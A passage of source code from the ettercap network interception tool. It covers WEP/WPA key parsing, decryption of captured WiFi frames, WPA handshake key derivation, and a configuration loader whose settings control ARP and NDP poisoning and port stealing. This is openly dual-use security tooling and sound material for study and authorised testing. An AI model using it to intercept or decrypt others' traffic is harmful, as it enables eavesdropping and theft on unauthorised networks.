*string); static void make_key_64(u_char *string, u_char *key); static void make_key_128(u_char *string, u_char *key); static int set_wpa_key(char *string); extern int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); extern int wpa_tkip_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); /*******************************************/ /* * WEP decrypt function */ int wep_decrypt(u_char *buf, size_t len, u_char *wkey, size_t wlen) { RC4_KEY key; u_char seed[32]; /* 256 bit for the wep key */ struct wep_header *wep; u_char *encbuf; u_char decbuf[len]; /* the key was not set, don't try to decript it */ if (wlen == 0) return -E_NOTHANDLED; /* get the wep header */ wep = (struct wep_header *)buf; len -= sizeof(struct wep_header); /* get the key index */ wep->key >>= 6; /* sanity check on the key index */ if (wep->key * 5 > (int)(MAX_WKEY_LEN - wlen)) { //DEBUG_MSG(D_VERBOSE, "WEP: invalid key index, the packet was skipped"); return -E_NOTHANDLED; } encbuf = (u_char *)(wep + 1); /* copy the IV in the first 24 bit of the RC4 seed */ memcpy(seed, wep->init_vector, WEP_IV_LEN); /* * complete the seed with x bit from the secret key * * when using 64 bit WEP, the four keys are stored * in the wkey array, every 5 bytes there is a new * key, so we can indicize them with wep->key * 5 */ memcpy(seed + WEP_IV_LEN, &wkey[wep->key * 5], wlen); /* initialize the RC4 key */ RC4_set_key(&key, WEP_IV_LEN + wlen, seed); /* decrypt the frame (len + 4 byte of crc) */ RC4(&key, len + WEP_CRC_LEN, encbuf, decbuf); /* * check if the decryption was successful: * at the end of the packet there is a CRC check */ if (CRC_checksum(decbuf, len + WEP_CRC_LEN, CRC_INIT) != CRC_RESULT) { //DEBUG_MSG(D_VERBOSE, "WEP decryption failed, the packet was skipped"); return -E_NOTHANDLED; } /* * copy the decrypted packet over the original one * overwriting the wep header. this way the packet is * identical to a non-WEP one. */ memcpy(buf, decbuf, len); /* * wipe out the remaining bytes at the end of the packets * we have moved the data over the wep header and the crc was left * at the end of the packet. */ memset(buf + len, 0, WEP_CRC_LEN); return E_SUCCESS; } /* * parse the string provided by the user and set the internally used buffer * the format is: * type:bits:t:string * where: * type: can be wep, wpa-psw, wpa-psk * bits: is the number of bits used for the key * t: can be: * s: for strings (or hexadecimal escaped values) * p: for passwords that will be used to generate the key * for example: * wep:64:p:ciao * wep:64:s:alor1 * wep:128:s:rcsredirect12 * wep:64:s:\x01\x02\x03\x04\x05 * wpa:pwd:password:ssid * wpa:psk:663eb260e87cf389c6bd7331b28d82f5203b0cae4e315f9cbb7602f3236708a6 */ int wifi_key_prepare(char *key_string) { int status = -E_INVALID; char *ks; char *p; if (key_string == NULL) return -E_INVALID; ks = strdup(key_string); if ((p = strchr(ks, ':')) != NULL) *p = 0; /* the following string is a definition for WEP */ if (!strcasecmp(ks, "wep")) { EC_GBL_WIFI->wifi_schema = WIFI_WEP; status = set_wep_key(p + 1); } /* the following string is a definition for WPA */ if (!strcasecmp(ks, "wpa")) { EC_GBL_WIFI->wifi_schema = WIFI_WPA; status = set_wpa_key(p + 1); } SAFE_FREE(ks); return status; } int set_wep_key(char *string) { int bit = 0; char *p, type; char *tok; char s[strlen(string) + 1]; u_char tmp_wkey[512]; size_t tmp_wkey_len; char tmp[128]; memset(EC_GBL_WIFI->wkey, 0, sizeof(EC_GBL_WIFI->wkey)); EC_GBL_WIFI->wkey_len = 0; strcpy(s, string); p = ec_strtok(s, ":", &tok); if (p == NULL) SEMIFATAL_ERROR("Invalid parsing of the WEP key"); bit = atoi(p); /* sanity check */ if (bit <= 0) SEMIFATAL_ERROR("Unsupported WEP key length"); /* the len of the secret part of the RC4 seed */ tmp_wkey_len = bit / 8 - WEP_IV_LEN; /* sanity check */ if (bit != 64 && bit != 128) SEMIFATAL_ERROR("Unsupported WEP key length"); /* get the type of the key */ p = ec_strtok(NULL, ":", &tok); if (p == NULL) SEMIFATAL_ERROR("Invalid parsing of the WEP key"); type = *p; /* get the third part of the string */ p = ec_strtok(NULL, ":", &tok); if (p == NULL) SEMIFATAL_ERROR("Invalid parsing of the WEP key"); if (type == 's') { /* escape the string and check its length */ if (strescape((char *)tmp_wkey, p, strlen(tmp_wkey)+1) != (int)tmp_wkey_len) SEMIFATAL_ERROR("Specified WEP key length does not match the given string"); } else if (type == 'p') { /* create the key from the passphrase */ if (bit == 64) make_key_64((u_char *)p, tmp_wkey); else if (bit == 128) make_key_128((u_char *)p, tmp_wkey); } else { SEMIFATAL_ERROR("Invalid parsing of the WEP key"); } /* print the final string */ USER_MSG("Using WEP key: %s\n", str_tohex(tmp_wkey, tmp_wkey_len, tmp, sizeof(tmp))); memcpy(EC_GBL_WIFI->wkey, tmp_wkey, sizeof(EC_GBL_WIFI->wkey)); EC_GBL_WIFI->wkey_len = tmp_wkey_len; return E_SUCCESS; } /* * generate a key set (4 keys) from a passfrase */ static void make_key_64(u_char *string, u_char *key) { int i, seed = 0; /* * seed is generated by xor'ing the keystring bytes * into the four bytes of the seed, starting at the little end */ for(i = 0; string[i]; i++) { seed ^= (string[i] << ((i & 0x03) * 8)); } /* generate the 4 keys from the seed */ for(i = 0; i < 5*4; i++) { seed *= 0x000343fd; seed += 0x00269ec3; key[i] = seed >> 16; } } static void make_key_128(u_char *string, u_char *key) { MD5_CTX ctx; u_char buf[64]; u_char digest[MD5_DIGEST_LENGTH]; int i, j = 0; /* repeat the string until buf is full */ for (i = 0; i < 64; i++) { if(string[j] == 0) j = 0; buf[i] = string[j++]; } /* compute the md5 digest of the buffer */ MD5_Init(&ctx); MD5_Update(&ctx, buf, sizeof buf); MD5_Final(digest, &ctx); /* * copy the digest into the key * 13 byte == 104 bit */ memset(key, 0, MAX_WKEY_LEN); memcpy(key, digest, 13); } static int set_wpa_key(char *string) { char *p; char *pass; char *ssid; char tmp[128]; int i; /* we need to generate the key */ if (!strncasecmp(string, "pwd", 3)) { if ((p = strchr(string + + strlen("pwd") + 1, ':')) != NULL) { *p = 0; } else { SEMIFATAL_ERROR("Invalid parsing of the WPA password (missing SSID)"); } /* the len of the password */ i = strlen(string + strlen("pwd") + 1); /* sanity check */ if (i < 8 || i > 63) { SEMIFATAL_ERROR("Invalid parsing of the WPA-PWD password (must be 8..63 chars)"); } SAFE_STRDUP(pass, string + strlen("pwd") + 1); SAFE_STRDUP(ssid, p + 1); /* * undocumented function from OPENSSL which implement the PBKDF2 function used to generate the passphrase * the 4096 number of iterations was taken from wpa_passphrase.c of wpa_supplicant package */ PKCS5_PBKDF2_HMAC_SHA1(pass, strlen(pass), (u_char *)ssid, strlen(ssid), 4096, 32, EC_GBL_WIFI->wkey); SAFE_FREE(pass); SAFE_FREE(ssid); } /* just take the key and store it */ if (!strncasecmp(string, "psk", 3)) { /* the hex string should be 32 bytes in hex format */ if (strlen(string + strlen("psk") + 1) != 64) { SEMIFATAL_ERROR("Invalid parsing of the WPA-PSK password (must be 64 chars)"); } /* parse the hex string into bytes */ str_hex_to_bytes(string + strlen("psk") + 1, EC_GBL_WIFI->wkey); } /* print the final string */ USER_MSG("Using WPA key: %s\n", str_tohex(EC_GBL_WIFI->wkey, WPA_KEY_LEN, tmp, sizeof(tmp))); return E_SUCCESS; } void wpa_sess_add(u_char *sta, struct wpa_sa *sa) { struct wpa_session *e, *s; char tmp[MAX_ASCII_ADDR_LEN]; /* alloc the new element */ SAFE_CALLOC(e, 1, sizeof(struct wpa_session)); if (sta) memcpy(&e->sta, sta, ETH_ADDR_LEN); if (sa) { /* get the time of the creation. * this will be used to timeout the entry if we miss some packets * to prevent inconsistent state forever */ gettimeofday(&sa->tv, NULL); memcpy(&e->sa, sa, sizeof(struct wpa_sa)); } /* insert it in the list */ pthread_mutex_lock(&root_mutex); /* check if the session already exists */ LIST_FOREACH(s, &wpa_sess_root, next) { if (!memcmp(&e->sta, &s->sta, ETH_ADDR_LEN)) { /* already present in the list, replace the SA */ if (sa) { memcpy(&s->sa, sa, sizeof(struct wpa_sa)); /* update the time value */ gettimeofday(&s->sa.tv, NULL); } USER_MSG("WPA session updated for [%s]\n", mac_addr_ntoa(e->sta, tmp)); pthread_mutex_unlock(&root_mutex); return; } } LIST_INSERT_HEAD(&wpa_sess_root, e, next); pthread_mutex_unlock(&root_mutex); USER_MSG("New WPA session for [%s]\n", mac_addr_ntoa(e->sta, tmp)); } void wpa_sess_del(u_char *sta) { struct wpa_session *e, *tmp; char tmac[MAX_ASCII_ADDR_LEN]; pthread_mutex_lock(&root_mutex); LIST_FOREACH_SAFE(e, &wpa_sess_root, next, tmp) { if (!memcmp(&e->sta, sta, ETH_ADDR_LEN)) { LIST_REMOVE(e, next); USER_MSG("WPA session deleted for [%s]\n", mac_addr_ntoa(e->sta, tmac)); SAFE_FREE(e); break; } } pthread_mutex_unlock(&root_mutex); } int wpa_sess_get(u_char *sta, struct wpa_sa *sa) { struct wpa_session *e; pthread_mutex_lock(&root_mutex); LIST_FOREACH(e, &wpa_sess_root, next) { if (!memcmp(&e->sta, sta, ETH_ADDR_LEN)) { memcpy(sa, &e->sa, sizeof(struct wpa_sa)); pthread_mutex_unlock(&root_mutex); return E_SUCCESS; } } pthread_mutex_unlock(&root_mutex); return -E_NOTFOUND; } /* Function used to derive the PTK. Refer to IEEE 802.11I-2004, 8.5.1 */ /* derive the PTK from the BSSID, STA MAC, PMK (WPA-PSK), SNonce, ANonce */ int wpa_generate_PTK(u_char *bssid, u_char *sta, u_char *pmk, u_char *snonce, u_char *anonce, u_int16 bits, u_char *kck) { u_int8 i; u_int len; u_char buff[100]; size_t offset = sizeof("Pairwise key expansion"); memset(buff, 0, 100); /* initialize the buffer */ memcpy(buff, "Pairwise key expansion", offset); /* Min(AA, SPA) || Max(AA, SPA) */ if (memcmp(sta, bssid, ETH_ADDR_LEN) < 0) { memcpy(buff + offset, sta, ETH_ADDR_LEN); memcpy(buff + offset + ETH_ADDR_LEN, bssid, ETH_ADDR_LEN); } else { memcpy(buff + offset, bssid, ETH_ADDR_LEN); memcpy(buff + offset + ETH_ADDR_LEN, sta, ETH_ADDR_LEN); } /* move after AA SPA */ offset += ETH_ADDR_LEN * 2; /* Min(ANonce,SNonce) || Max(ANonce,SNonce) */ if (memcmp(snonce, anonce, WPA_NONCE_LEN) < 0 ) { memcpy(buff + offset, snonce, WPA_NONCE_LEN); memcpy(buff + offset + WPA_NONCE_LEN, anonce, WPA_NONCE_LEN); } else { memcpy(buff + offset, anonce, WPA_NONCE_LEN); memcpy(buff + offset + WPA_NONCE_LEN, snonce, WPA_NONCE_LEN); } /* move after ANonce SNonce */ offset += WPA_NONCE_LEN * 2; memset(kck, 0, WPA_PTK_LEN); /* generate the PTK */ for (i = 0; i < (bits + 159)/160; i++) { buff[offset] = i; /* the buffer (ptk) is large enough (see declaration) */ HMAC(EVP_sha1(), pmk, WPA_KEY_LEN, buff, 100, kck + i * 20, &len); } return E_SUCCESS; } int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key, size_t eapol_len, u_char *kck, int algo) { u_char mic[WPA_MICKEY_LEN]; u_int len; u_char hmac_mic[20]; /* MIC 16 byte, the HMAC-SHA1 use a buffer of 20 bytes */ /* copy the MIC from the EAPOL packet */ memcpy(mic, eapol_key->key_MIC, WPA_MICKEY_LEN); /* set to 0 the MIC in the EAPOL packet (to calculate the MIC) */ memset(eapol_key->key_MIC, 0, WPA_MICKEY_LEN); if (algo == WPA_KEY_TKIP) { /* use HMAC-MD5 for the EAPOL-Key MIC */ HMAC(EVP_md5(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); } else if (algo == WPA_KEY_CCMP) { /* use HMAC-SHA1-128 for the EAPOL-Key MIC */ HMAC(EVP_sha1(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); } else /* key descriptor version not recognized */ return -E_INVALID; /* restore the MIC in the EAPOL packet */ memcpy(eapol_key->key_MIC, mic, WPA_MICKEY_LEN); /* compare calculated MIC with the Key MIC and return result (0 means success) */ return memcmp(mic, hmac_mic, WPA_MICKEY_LEN); } int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_header *rsn_ie, struct wpa_sa *sa) { //guint8 new_key[32]; u_int8 *encrypted_key; u_int16 key_len = 0; //static AIRPDCAP_KEY_ITEM dummy_key; /* needed in case AirPDcapRsnaMng() wants the key structure */ char tmp[512]; /* variable not used */ (void) rsn_ie; /* Preparation for decrypting the group key - determine group key data length */ /* depending on whether it's a TKIP or AES encryption key */ if (sa->algo == WPA_KEY_TKIP) { key_len = ntohs(eapol_key->key_len); } else if (sa->algo == WPA_KEY_CCMP){ key_len = ntohs(eapol_key->key_data_len); } /* sanity check */ if (key_len > sizeof(struct rsn_ie_header) || key_len == 0) return -E_NOTHANDLED; /* Encrypted key is in the information element field of the EAPOL key packet */ SAFE_CALLOC(encrypted_key, key_len, sizeof(u_int8)); DEBUG_MSG("Encrypted Broadcast key: %s\n", str_tohex(encrypted_key, key_len, tmp, sizeof(tmp))); DEBUG_MSG("KeyIV: %s\n", str_tohex(eapol_key->key_IV, 16, tmp, sizeof(tmp))); DEBUG_MSG("decryption_key: %s\n", str_tohex(sa->ptk + 16, 16, tmp, sizeof(tmp))); /* * XXX - implement broadcast key * we don't really need it, it is used only for multicast and broadcast packets */ #if 0 /* Build the full decryption key based on the IV and part of the pairwise key */ memcpy(new_key, pEAPKey->key_iv, 16); memcpy(new_key+16, decryption_key, 16); DEBUG_DUMP("FullDecrKey:", new_key, 32); if (key_version == AIRPDCAP_WPA_KEY_VER_NOT_CCMP){ guint8 dummy[256]; /* TKIP key */ /* Per 802.11i, Draft 3.0 spec, section 8.5.2, p. 97, line 4-8, */ /* group key is decrypted using RC4. Concatenate the IV with the 16 byte EK (PTK+16) to get the decryption key */ rc4_state_struct rc4_state; crypt_rc4_init(&rc4_state, new_key, sizeof(new_key)); /* Do dummy 256 iterations of the RC4 algorithm (per 802.11i, Draft 3.0, p. 97 line 6) */ crypt_rc4(&rc4_state, dummy, 256); crypt_rc4(&rc4_state, encrypted_key, key_len); } else if (key_version == AIRPDCAP_WPA_KEY_VER_AES_CCMP){ /* AES CCMP key */ guint8 key_found; guint16 key_index; guint8 *decrypted_data; /* This storage is needed for the AES_unwrap function */ decrypted_data = (guint8 *) g_malloc(key_len); AES_unwrap(decryption_key, 16, encrypted_key, key_len, decrypted_data); /* With WPA2 what we get after Broadcast Key decryption is an actual RSN structure. The key itself is stored as a GTK KDE WPA2 IE (1 byte) id = 0xdd, length (1 byte), GTK OUI (4 bytes), key index (1 byte) and 1 reserved byte. Thus we have to pass pointer to the actual key with 8 bytes offset */ key_found = FALSE; key_index = 0; while(key_index < key_len && !key_found){ guint8 rsn_id; /* Get RSN ID */ rsn_id = decrypted_data[key_index]; if (rsn_id != 0xdd){ key_index += decrypted_data[key_index+1]+2; }else{ key_found = TRUE; } } if (key_found){ /* Skip over the GTK header info, and don't copy past the end of the encrypted data */ memcpy(encrypted_key, decrypted_data+key_index+8, key_len-key_index-8); } g_free(decrypted_data); } /* Decrypted key is now in szEncryptedKey with len of key_len */ DEBUG_DUMP("Broadcast key:", encrypted_key, key_len); /* Load the proper key material info into the SA */ sa->key = &dummy_key; sa->validKey = TRUE; sa->wpa.key_ver = key_version; memset(sa->wpa.ptk, 0, sizeof(sa->wpa.ptk)); memcpy(sa->wpa.ptk+32, szEncryptedKey, key_len); g_free(szEncryptedKey); #endif SAFE_FREE(encrypted_key); return E_SUCCESS; } int wpa_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) { /* * TKIP - for wpa * CCMP - for wpa2 */ if (sa.algo == WPA_KEY_CCMP) { return wpa_ccmp_decrypt(mac, data, len, sa); } else if (sa.algo == WPA_KEY_TKIP) { return wpa_tkip_decrypt(mac, data, len, sa); } /* not reached */ return -E_NOTHANDLED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_conf.c0000644000175000017500000003653713505247364015541 0ustar koeppeakoeppea/* ettercap -- configuration (etter.conf) manipulation module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ /* used only to keep track of how many dissector are loaded */ int number_of_dissectors; int number_of_ports; static struct conf_entry privs[] = { { "ec_uid", NULL }, { "ec_gid", NULL }, { NULL, NULL }, }; static struct conf_entry mitm[] = { { "arp_storm_delay", NULL }, { "arp_poison_delay", NULL }, { "arp_poison_smart", NULL }, { "arp_poison_warm_up", NULL }, { "arp_poison_icmp", NULL }, { "arp_poison_reply", NULL }, { "arp_poison_request", NULL }, { "arp_poison_equal_mac", NULL }, { "dhcp_lease_time", NULL }, { "port_steal_delay", NULL }, { "port_steal_send_delay", NULL }, #ifdef WITH_IPV6 { "ndp_poison_warm_up", NULL }, { "ndp_poison_delay", NULL }, { "ndp_poison_send_delay", NULL }, { "ndp_poison_icmp", NULL }, { "ndp_poison_equal_mac", NULL}, { "icmp6_probe_delay", NULL }, #endif { NULL, NULL }, }; static struct conf_entry connections[] = { { "connection_timeout", NULL }, { "connection_idle", NULL }, { "connection_buffer", NULL }, { "connect_timeout", NULL }, { NULL, NULL }, }; static struct conf_entry stats[] = { { "sampling_rate", NULL }, { NULL, NULL }, }; static struct conf_entry misc[] = { { "close_on_eof", NULL }, { "store_profiles", NULL }, { "aggressive_dissectors", NULL }, { "skip_forwarded_pcks", NULL }, { "checksum_warning", NULL }, { "checksum_check", NULL }, { "submit_fingerprint", NULL }, { "sniffing_at_startup", NULL }, { "geoip_support_enable", NULL }, { "gtkui_prefer_dark_theme", NULL }, { NULL, NULL }, }; static struct conf_entry curses[] = { { "color_bg", NULL }, { "color_fg", NULL }, { "color_join1", NULL }, { "color_join2", NULL }, { "color_border", NULL }, { "color_title", NULL }, { "color_focus", NULL }, { "color_menu_bg", NULL }, { "color_menu_fg", NULL }, { "color_window_bg", NULL }, { "color_window_fg", NULL }, { "color_selection_fg", NULL }, { "color_selection_bg", NULL }, { "color_error_bg", NULL }, { "color_error_fg", NULL }, { "color_error_border", NULL }, { NULL, NULL }, }; static struct conf_entry strings[] = { { "redir_command_on", NULL }, { "redir_command_off", NULL }, #ifdef WITH_IPV6 { "redir6_command_on", NULL }, { "redir6_command_off", NULL }, #endif { "remote_browser", NULL }, { "utf8_encoding", NULL }, { "geoip_data_file", NULL }, { "geoip_data_file_v6", NULL }, { NULL, NULL }, }; /* this is fake, dissector use a different registration */ static struct conf_entry dissectors[] = { { "fake", &number_of_dissectors }, { NULL, NULL }, }; static struct conf_section sections[] = { { "privs", privs}, { "mitm", mitm}, { "connections", connections}, { "stats", stats}, { "misc", misc}, { "dissectors", dissectors}, { "curses", curses}, { "strings", strings}, { NULL, NULL }, }; /* protos */ static void init_structures(void); static void set_pointer(struct conf_entry *entry, const char *name, void *ptr); static void sanity_checks(void); static void set_dissector(char *name, char *values, int lineno); static struct conf_entry * search_section(char *title); static void * search_entry(struct conf_entry *section, char *name); /************************************************/ /* * since EC_GBL_CONF is in the heap, it is not constant * so we have to initialize it here and not in the * structure definition */ static void init_structures(void) { int i = 0, j = 0; DEBUG_MSG("init_structures"); set_pointer(privs, "ec_uid", &EC_GBL_CONF->ec_uid); set_pointer(privs, "ec_gid", &EC_GBL_CONF->ec_gid); set_pointer(mitm, "arp_storm_delay", &EC_GBL_CONF->arp_storm_delay); set_pointer(mitm, "arp_poison_smart", &EC_GBL_CONF->arp_poison_smart); set_pointer(mitm, "arp_poison_warm_up", &EC_GBL_CONF->arp_poison_warm_up); set_pointer(mitm, "arp_poison_delay", &EC_GBL_CONF->arp_poison_delay); set_pointer(mitm, "arp_poison_icmp", &EC_GBL_CONF->arp_poison_icmp); set_pointer(mitm, "arp_poison_reply", &EC_GBL_CONF->arp_poison_reply); set_pointer(mitm, "arp_poison_request", &EC_GBL_CONF->arp_poison_request); set_pointer(mitm, "arp_poison_equal_mac", &EC_GBL_CONF->arp_poison_equal_mac); set_pointer(mitm, "dhcp_lease_time", &EC_GBL_CONF->dhcp_lease_time); set_pointer(mitm, "port_steal_delay", &EC_GBL_CONF->port_steal_delay); set_pointer(mitm, "port_steal_send_delay", &EC_GBL_CONF->port_steal_send_delay); #ifdef WITH_IPV6 set_pointer(mitm, "ndp_poison_warm_up", &EC_GBL_CONF->ndp_poison_warm_up); set_pointer(mitm, "ndp_poison_delay", &EC_GBL_CONF->ndp_poison_delay); set_pointer(mitm, "ndp_poison_send_delay", &EC_GBL_CONF->ndp_poison_send_delay); set_pointer(mitm, "ndp_poison_icmp", &EC_GBL_CONF->ndp_poison_icmp); set_pointer(mitm, "ndp_poison_equal_mac", &EC_GBL_CONF->ndp_poison_equal_mac); set_pointer(mitm, "icmp6_probe_delay", &EC_GBL_CONF->icmp6_probe_delay); #endif set_pointer(connections, "connection_timeout", &EC_GBL_CONF->connection_timeout); set_pointer(connections, "connection_idle", &EC_GBL_CONF->connection_idle); set_pointer(connections, "connection_buffer", &EC_GBL_CONF->connection_buffer); set_pointer(connections, "connect_timeout", &EC_GBL_CONF->connect_timeout); set_pointer(stats, "sampling_rate", &EC_GBL_CONF->sampling_rate); set_pointer(misc, "close_on_eof", &EC_GBL_CONF->close_on_eof); set_pointer(misc, "store_profiles", &EC_GBL_CONF->store_profiles); set_pointer(misc, "aggressive_dissectors", &EC_GBL_CONF->aggressive_dissectors); set_pointer(misc, "skip_forwarded_pcks", &EC_GBL_CONF->skip_forwarded); set_pointer(misc, "checksum_warning", &EC_GBL_CONF->checksum_warning); set_pointer(misc, "checksum_check", &EC_GBL_CONF->checksum_check); set_pointer(misc, "submit_fingerprint", &EC_GBL_CONF->submit_fingerprint); set_pointer(misc, "sniffing_at_startup", &EC_GBL_CONF->sniffing_at_startup); set_pointer(misc, "geoip_support_enable", &EC_GBL_CONF->geoip_support_enable); set_pointer(misc, "gtkui_prefer_dark_theme", &EC_GBL_CONF->gtkui_prefer_dark_theme); set_pointer(curses, "color_bg", &EC_GBL_CONF->colors.bg); set_pointer(curses, "color_fg", &EC_GBL_CONF->colors.fg); set_pointer(curses, "color_join1", &EC_GBL_CONF->colors.join1); set_pointer(curses, "color_join2", &EC_GBL_CONF->colors.join2); set_pointer(curses, "color_border", &EC_GBL_CONF->colors.border); set_pointer(curses, "color_title", &EC_GBL_CONF->colors.title); set_pointer(curses, "color_focus", &EC_GBL_CONF->colors.focus); set_pointer(curses, "color_menu_bg", &EC_GBL_CONF->colors.menu_bg); set_pointer(curses, "color_menu_fg", &EC_GBL_CONF->colors.menu_fg); set_pointer(curses, "color_window_bg", &EC_GBL_CONF->colors.window_bg); set_pointer(curses, "color_window_fg", &EC_GBL_CONF->colors.window_fg); set_pointer(curses, "color_selection_bg", &EC_GBL_CONF->colors.selection_bg); set_pointer(curses, "color_selection_fg", &EC_GBL_CONF->colors.selection_fg); set_pointer(curses, "color_error_bg", &EC_GBL_CONF->colors.error_bg); set_pointer(curses, "color_error_fg", &EC_GBL_CONF->colors.error_fg); set_pointer(curses, "color_error_border", &EC_GBL_CONF->colors.error_border); /* special case for strings */ set_pointer(strings, "redir_command_on", &EC_GBL_CONF->redir_command_on); set_pointer(strings, "redir_command_off", &EC_GBL_CONF->redir_command_off); #ifdef WITH_IPV6 set_pointer(strings, "redir6_command_on", &EC_GBL_CONF->redir6_command_on); set_pointer(strings, "redir6_command_off", &EC_GBL_CONF->redir6_command_off); #endif set_pointer(strings, "remote_browser", &EC_GBL_CONF->remote_browser); set_pointer(strings, "utf8_encoding", &EC_GBL_CONF->utf8_encoding); set_pointer(strings, "geoip_data_file", &EC_GBL_CONF->geoip_data_file); set_pointer(strings, "geoip_data_file_v6", &EC_GBL_CONF->geoip_data_file_v6); /* sanity check */ do { do { if (sections[i].entries[j].value == NULL) { DEBUG_MSG("INVALID init: %s %s", sections[i].entries[j].name, sections[i].title); BUG("check the debug file..."); } } while (sections[i].entries[++j].name != NULL); j = 0; } while (sections[++i].title != NULL); } /* * associate the pointer to a struct */ static void set_pointer(struct conf_entry *entry, const char *name, void *ptr) { int i = 0; /* search the name */ do { /* found ! set the pointer */ if (!strcmp(entry[i].name, name)) entry[i].value = ptr; } while (entry[++i].name != NULL); } static void sanity_checks() { // sampling_rate cannot be equal to 0, since we divide by it if (EC_GBL_CONF->sampling_rate == 0) EC_GBL_CONF->sampling_rate = 50; } /* * load the configuration from etter.conf file */ void load_conf(void) { FILE *fc; char line[256]; char *p, *q, **tmp; int lineno = 0; size_t tmplen; struct conf_entry *curr_section = NULL; void *value = NULL; /* initialize the structures */ init_structures(); DEBUG_MSG("load_conf"); /* the user has specified an alternative config file */ if (EC_GBL_CONF->file) { DEBUG_MSG("load_conf: alternative config: %s", EC_GBL_CONF->file); fc = fopen(EC_GBL_CONF->file, FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot open %s", EC_GBL_CONF->file); } else { /* errors are handled by the function */ fc = open_data("etc", ETTER_CONF, FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot open %s", ETTER_CONF); } /* read the file */ while (fgets(line, sizeof(line), fc) != 0) { /* update the line count */ lineno++; /* trim out the comments */ if ((p = strchr(line, '#'))) *p = '\0'; /* trim out the new line */ if ((p = strchr(line, '\n'))) *p = '\0'; q = line; /* trim the initial spaces */ while (q < line + sizeof(line) && *q == ' ') q++; /* skip empty lines */ if (line[0] == '\0' || *q == '\0') continue; /* here starts a new section [...] */ if (*q == '[') { /* remove the square brackets */ if ((p = strchr(line, ']'))) *p = '\0'; else FATAL_ERROR("Missing ] in %s line %d", ETTER_CONF, lineno); p = q + 1; DEBUG_MSG("load_conf: SECTION: %s", p); /* get the pointer to the right structure */ if ( (curr_section = search_section(p)) == NULL) FATAL_ERROR("Invalid section in %s line %d", ETTER_CONF, lineno); /* read the next line */ continue; } /* variable outside a section */ if (curr_section == NULL) FATAL_ERROR("Entry outside a section in %s line %d", ETTER_CONF, lineno); /* sanity check */ if (!strchr(q, '=')) FATAL_ERROR("Parse error %s line %d", ETTER_CONF, lineno); p = q; /* split the entry name from the value */ do { if (*p == ' ' || *p == '='){ *p = '\0'; break; } } while (p++ < line + sizeof(line) ); /* move p to the value */ p++; do { if (*p != ' ' && *p != '=') break; } while (p++ < line + sizeof(line) ); /* * if it is the "dissector" section, * do it in a different way */ if (curr_section == dissectors) { set_dissector(q, p, lineno); continue; } /* search the entry name */ if ( (value = search_entry(curr_section, q)) == NULL) FATAL_ERROR("Invalid entry in %s line %d", ETTER_CONF, lineno); /* strings must be handled in a different way */ if (curr_section == strings) { /* trim the quotes */ if (*p == '"') p++; /* set the string value */ tmp = (char **)value; *tmp = strdup(p); /* trim the ending quotes */ p = *tmp; tmplen = strlen(*tmp); do { if (*p == '"') { *p = 0; break; } } while (p++ < *tmp + tmplen ); DEBUG_MSG("load_conf: \tENTRY: %s [%s]", q, *tmp); } else { /* set the integer value */ *(int *)value = strtol(p, (char **)NULL, 10); DEBUG_MSG("load_conf: \tENTRY: %s %d", q, *(int *)value); } } sanity_checks(); fclose(fc); } /* * returns the pointer to the struct * named "title" */ static struct conf_entry * search_section(char *title) { int i = 0; do { /* the section was found */ if (!strcasecmp(sections[i].title, title)) return sections[i].entries; } while (sections[++i].title != NULL); return NULL; } /* * returns the pointer to the value * named "name" of the sections "section" */ static void * search_entry(struct conf_entry *section, char *name) { int i = 0; do { /* the section was found */ if (!strcasecmp(section[i].name, name)) return section[i].value; } while (section[++i].name != NULL); return NULL; } /* * handle the special case of dissectors */ static void set_dissector(char *name, char *values, int lineno) { char *p, *q = values; u_int32 value; int first = 0; /* remove trailing spaces */ if ((p = strchr(values, ' ')) != NULL) *p = '\0'; /* expand multiple ports dissectors */ for(p=strsep(&values, ","); p != NULL; p=strsep(&values, ",")) { /* get the value for the port */ value = atoi(p); //DEBUG_MSG("load_conf: \tDISSECTOR: %s\t%d", name, value); /* count the dissectors and the port monitored */ if (value) { number_of_ports++; if (first == 0) { number_of_dissectors++; first = 1; } } /* the first value replaces all the previous */ if (p == q) { if (dissect_modify(MODE_REP, name, value) != E_SUCCESS) fprintf(stderr, "Dissector \"%s\" not supported (%s line %d)\n", name, ETTER_CONF, lineno); } else { /* the other values have to be added */ if (dissect_modify(MODE_ADD, name, value) != E_SUCCESS) fprintf(stderr, "Dissector \"%s\" not supported (%s line %d)\n", name, ETTER_CONF, lineno); } } } /* * print the number of dissectors loaded */ void conf_dissectors(void) { USER_MSG("%4d protocol dissectors\n", number_of_dissectors); USER_MSG("%4d ports monitored\n", number_of_ports); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_connbuf.c0000644000175000017500000001131113505247364016225 0ustar koeppeakoeppea/* ettercap -- connection buffer module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* mutexes */ #define CONNBUF_INIT_LOCK(x) do{ pthread_mutex_init(&x, NULL); }while(0) #define CONNBUF_LOCK(x) do{ pthread_mutex_lock(&x); }while(0) #define CONNBUF_UNLOCK(x) do{ 